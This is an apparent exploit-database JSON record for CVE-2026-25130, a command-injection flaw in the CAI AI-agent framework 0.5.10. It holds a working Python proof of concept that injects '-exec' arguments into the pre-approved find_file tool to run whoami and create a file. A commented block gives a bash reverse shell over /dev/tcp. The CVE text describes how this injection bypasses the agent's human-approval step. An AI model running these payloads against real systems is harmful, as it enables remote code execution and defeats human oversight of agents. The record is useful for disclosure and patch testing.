{"exploit":{"id":"EDB-52530","name":"Cybersecurity AI (CAI) Framework 0.5.10 - Command Injection","description":"Cybersecurity AI (CAI) Framework 0.5.10 - Command Injection","cves":["CVE-2026-25130"],"author":"banyamer","published":"2026-04-30","platform":"multiple","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52530","path":"exploits/multiple/webapps/52530.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52530.py","vulnerabilities":[{"id":"CVE-2026-25130","state":"PUBLISHED","title":"Cybersecurity AI vulnerable to command Injection through argument injection in find_file Agent tool","titleSource":"CVE Program","description":"Cybersecurity AI (CAI) is a framework for AI Security. In versions up to and including 0.5.10, the CAI (Cybersecurity AI) framework contains multiple argument injection vulnerabilities in its function tools. User-controlled input is passed directly to shell commands via `subprocess.Popen()` with `shell=True`, allowing attackers to execute arbitrary commands on the host system. The `find_file()` tool executes without requiring user approval because find is considered a \"safe\" pre-approved command. This means an attacker can achieve Remote Code Execution (RCE) by injecting malicious arguments (like -exec) into the args parameter, completely bypassing any human-in-the-loop safety mechanisms. Commit e22a1220f764e2d7cf9da6d6144926f53ca01cde contains a fix.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-25130","cvss":{"version":"3.1","baseScore":9.7,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","source":"GitHub_M","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-25130"},"updatedAt":"2026-02-02T18:01:06.518Z","retrievedAt":"2026-11-25T16:15:50.655Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52530.png?v=2","url":"https://exploitbin.com/exploits/EDB-52530","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52530/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52530/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: Cybersecurity AI (CAI) Framework 0.5.10 - Command Injection\n# CVE: CVE-2026-25130\n# Date: 2026-02-03\n# Exploit Author: Mohammed Idrees Banyamer\n# Author Country: Jordan\n# Instagram: @banyamer_security\n# Author GitHub: https://github.com/yourusername\n# Vendor Homepage: https://github.com/aliasrobotics/cai\n# Software Link: https://github.com/aliasrobotics/cai\n# Vulnerable Version: cai-framework <= 0.5.10\n# Tested on: cai-framework 0.5.10\n# Category: Argument Injection / OS Command Injection\n# Platform: Python\n# Exploit Type: Unauthenticated / Authenticated depending on agent context (often bypasses human approval)\n#\n\n#\n# Usage:\n#    Run the script directly (local execution )\n#    Observe command output or side effects (e.g. whoami result, created files, etc.)\n\nfrom cai.tools.reconnaissance.filesystem import find_file\nimport sys\n\ndef main():\n    print(\"=== CVE-2026-25130 PoC - find_file Argument Injection / OS Command Injection ===\")\n    print(\"Vulnerable cai-framework <= 0.5.10\")\n    print(\"This demonstrates command execution via malicious 'args' parameter\\n\")\n\n    # ────────────────────────────────────────────────────────────────\n    # PoC 1: Simple proof – execute 'whoami' via -exec\n    # ────────────────────────────────────────────────────────────────\n    print(\"[Test 1] Executing 'whoami' via -exec\")\n    malicious_args = \"-type f -exec whoami \\\\;\"\n\n    try:\n        result = find_file(\n            file_path=\"/tmp\",               # Any readable directory\n            args=malicious_args,\n            ctf=None\n        )\n        print(\"[+] Command output:\\n\", result)\n    except Exception as e:\n        print(\"[-] Execution failed:\", str(e))\n\n    print(\"\\n\" + \"-\"*70 + \"\\n\")\n\n    # ────────────────────────────────────────────────────────────────\n    # PoC 2: Touch a proof file (non-destructive marker)\n    # ────────────────────────────────────────────────────────────────\n    print(\"[Test 2] Creating marker file /tmp/CAI_CVE_2026_25130_PROOF\")\n    proof_args = '-type d -exec touch /tmp/CAI_CVE_2026_25130_PROOF \\\\;'\n\n    try:\n        result = find_file(\n            file_path=\"/tmp\",\n            args=proof_args,\n            ctf=None\n        )\n        print(\"[+] Result:\\n\", result)\n        print(\"Check if file exists: ls -l /tmp/CAI_CVE_2026_25130_PROOF\")\n    except Exception as e:\n        print(\"[-] Execution failed:\", str(e))\n\n    print(\"\\n\" + \"-\"*70 + \"\\n\")\n\n    # ────────────────────────────────────────────────────────────────\n    # PoC 3: Dangerous example – reverse shell\n    # ────────────────────────────────────────────────────────────────\n    # print(\"[Test 3] Reverse shell example (DO NOT RUN UNLESS IN ISOLATED LAB)\")\n    # rev_args = '-exec bash -c \"bash -i >& /dev/tcp/127.0.0.1/4444 0>&1\" \\\\;'\n    # find_file(\"/tmp\", rev_args)\n\n    print(\"\\nPoC finished.\")\n    print(\"If commands executed successfully → vulnerability confirmed.\")\n    print(\"After patch (commit e22a1220) these payloads should be rejected.\")\n\nif __name__ == \"__main__\":\n    try:\n        main()\n    except KeyboardInterrupt:\n        print(\"\\n[!] Stopped by user.\")\n    except Exception as e:\n        print(f\"\\n[!] Unexpected error: {e}\")\n        sys.exit(1)","sha256":"78b9e5e598b702ce29f33fc8a3ce2bfacb8e294668e890506b56c8519177dd84","bytes":3964,"fetchedAt":"2026-11-26T11:17:50.218Z","encoding":"utf-8 (display only; download retains original bytes)"}